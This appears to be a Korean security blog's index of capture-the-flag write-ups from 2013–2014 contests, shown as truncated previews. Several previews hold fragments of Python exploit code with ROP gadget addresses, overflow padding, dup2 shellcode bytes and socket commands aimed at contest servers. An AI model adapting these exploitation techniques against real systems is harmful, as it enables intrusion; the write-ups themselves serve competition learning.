본문 바로가기

Computer Security/CTF

[Defcon 2014] HJ(2) byhd write up I think It is not a good solution. I did just brute-force to find encoded shellcode.It was first time to brute-force the remote binary, So I just want to share my experience. The method is that I hooked server side. So, server side send the encoded value to client.Then, client check if the encoded value is same with our shell code or not. I repeated this method. following code is server hooking .. 더보기
[Defcon 2014] 100 lines exploit 직접 알고리즘 분석해서, 파이썬으로 옮긴후 최적화를 한거라서 딱히 설명할것은 없고, 그냥 익스플로잇만. http://pastebin.com/MGKqAZhK from socket import *import time randpad ="FC8A4551678CA9C0B0FDF76FB850F12F7A6266E3D3C36EBE373933683BC6761EAEAA83ED571AF129E6C1B99EDDA2862C1ADC499D8201D53AB5D333121CCE942BC3B06CBC4673395E7BC7B49E56F0AD725E83C705C5E92E85887994F7E7AC34FE5CCE2E13F1CC8EEA6083BEDC4ABBE8DF6520EF44ADFAD61283D5DC94AD1FE15FE8FA7E3FDA61E.. 더보기
[RuCTF 2014 quals] Reversing 500 First, it is packed by upx. so just unpack binary. then, because of undefined instruction(0F 0B), it starts exception handler.So, strcmp with "oh_nasty_boy!you_hacked_me:(hehe" is just fake. exception handler is in 0x4010d0. At 0x4010d0, insert keys and encode input. and finally compare with another real answer routine is as follow. 1. exception handler starts2. insert key to stack3. xor key wit.. 더보기
[Codegate 2014 quals] Web 500 write up 이번 대회는 포너블 몇개랑 웹 두개를 풀었는데,포너블들은 정말 지저분하게 풀었고, 깔끔하게 나오는 익스플로잇이 이것밖에 없어서.. 이 익스플로잇만 올립니다. 처음에 이 문제를 보고, wechall에 있는 md5를 blind injection으로 횟수제한 걸고 맞추는 문제를 떠올렸는데,그게 페이크였던것 같다여기선 md5도 아니고, 문서에 잇는 문자를 랜덤으로 가져오는데, 30글자가 모두 소문자라고 하더라도, 한 문자당 5번, 총 150번 정도는 필요하다.물론 time-based도 가능은 하지만, 시간도 오래 걸리고, CTF에서는 정확도가 떨어진다. (서버상태때문) 근데 문득 든 생각이, IP 하나가, 여러개의 세션을 만들 수 있다라는 것이다.그리고 DB에는 하나의 패스워드 (가장 마지막으로 만든 세션의 패.. 더보기
[secuinside 2013] debugd exploit ubuntu 13.10에서 재현 from socket import *from struct import *import time s = socket(AF_INET,SOCK_STREAM)s.connect(('localhost', 7744)) leaveret = 0x8048a68recv_plt = 0x8048770send_plt = 0x8048790bss = 0x804b080fake_ebp = bss+0x50send_got = 0x804b070ppppr = 0x804906c cmd = "id>&4\x00" payload = "1;"+"\x00"*(0x66c + 4 - 2)payload += pack(' 더보기
[Secuinside 2013] angry danbi exploit 우분투 12.04에서 재현 from socket import *from struct import *import time fputs_plt = 0x8048800fputs_got = 0x804B064recv_plt = 0x8048810send_plt = 0x8048830ppppr = 0x80499FCbss = 0x804c0dc cmd = "id>&4\x00" i=0while True: print "Send! %d" % i i += 1 s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',8080)) time.sleep(0.3) print s.recv(10000) #raw_input('go?') vmcode = "" # auth 2 vmcode += "#\x00\.. 더보기
Whitehat Contest 개인전 예선 보고서 그 외에 stalking은 DNS검색해서 나온 전화번호를 구글링하면 어떤 블로그가 나왔다고 하고, 포렌식은 그냥 atuopsy로 열면 바로 답이 나왔다. 더보기
[DIMVA 2013] pwn 200 exploit 같은 문제에, NX만 없애고, 더이상 레지스터를 보여주지 않는다.이건, pwn 100에서 딴 쉘을 이용해서 풀었다.pwn 100에서, "objdump -T ????/libc.so.6 | grep system" 명령어와 "ldd"명령어를 통해 system 주소의 처음 2바이트와 마지막 3바이트를 알아냈다. (첫 2바이트는 f7, 뒤 3바이트는 430)ASLR은 중간 3바이트에만 걸리기때문에, 해당부분은 브루트포싱을 해서 구해낸다. 아래는 익스플로잇(주석은 stage1으로, 시스템 주소를 알아내는 작업, 그 후에는 주석처리를 한 후 원하는 커맨드를 입력한다.) from socket import * from struct import * import hashlib import time for i in range.. 더보기
[DIMVA 2013] pwn 100 exploit NX가 걸려있지 않았고, 레지스트를 보여줬다.그래서 그냥 해당 주소에 쉘코드를 넣고, EIP를 그쪽으로 우회하면 된다. from struct import * import hashlib import time import sys s = socket(AF_INET, SOCK_STREAM) s.connect(('dimvactf.0x90.eu',1116)) raw_input('go?') s.settimeout(2) s.recv(1024) fd = 4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # ./msfvenom.. 더보기
[SIGINT 2013] trollsex(tr0llsex) exploit import socket import sctp from struct import * s = sctp.sctpsocket_tcp(socket.AF_INET) s.connect(('188.40.147.118',1024)) #s.connect(('127.0.0.1',1024)) print s.recv(1024) cmd = "system\x00" s.sctp_send(cmd+"A"*(24-len(cmd))+pack(' 더보기